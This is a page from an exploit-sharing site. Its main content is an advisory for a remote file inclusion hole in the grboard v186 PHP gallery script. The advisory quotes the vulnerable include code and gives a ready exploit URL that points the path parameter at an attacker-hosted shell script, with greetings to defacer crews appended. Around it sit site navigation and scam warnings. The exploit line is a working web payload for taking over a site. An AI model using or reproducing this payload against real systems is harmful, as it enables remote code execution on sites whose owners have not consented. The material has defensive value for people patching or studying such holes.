0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
grboard v186 Remote File Include Vulnerability
[==============================================
grboard v186 Remote File Include Vulnerability
==============================================
# Author : untouch
# Location : jakarta - Indonesia
# Situs : antijasakom[dot]org, autosaved[dot]wordpress[dot]com
# Contact : unkn0wn[dot]cr3w[at]ymail[dot]com
# Script: http://sirini.net/grboard/board.php?id=grskin&articleNo=82
# Download: http://sirini.net/grboard/download.php?id=grskin&articleNo=82&num=1
######################################################################
#<div class="latestGalleryTitle"><a href="<?php echo $grboard; ?>/board.php?id=<?php echo $id; ?>"><?php echo $latestTitle; ?></a></div>
#<?php
#// 최근갤러리에 쓰일 GD 썸네일 엔진 부르기
#include_once $path."/thumbnail.php";
#
#// 게시물 루프
#while($latest = mysql_fetch_array($getData))
#{
# // 각 게시물당 첨부파일 첫번째 것 가져와서 처리
# $target = $latest['no'];
# $file = @mysql_fetch_array(mysql_query("select file_route1 from {$dbFIX}pds_save where id = '$id' and article_num = '$target'"));
# ?>
#<div class="latestGalleryPhoto"><a href="<?php echo $grboard; ?>/board.php?id=<?php echo $id; ?>&articleNo=<?php echo $latest['no']; ?>">
#<?php echo makeLatestThumb($grboard."/".$file['file_route1'], $path, $id, $grboard, 100, 100); ?></a></div>
# <?php
#} # while
#?>
#<div class="latestGalleryClear"></div>
######################################################################
#######################################################################################################
Exploit: http://[target]/[path]/latest/sirini_gallery2_play/list.php?path=http://[shellscript]
#######################################################################################################
#Special Thanks :
- Gorontalo Defacer : cr4wl3r, bl4ck_3n91n3, aries.deris, Tawon Sparta
- AntiJasakom Crew : Shamus, boys_rvn1609, 5ynL0rd, kqaj, dbugr, kiddies, g4pt3k
- all Indogamers Admin & Moderator
# Note : Don't Be Affraid to Attack Your Own Network ~
# 0day.today [2024-09-28] #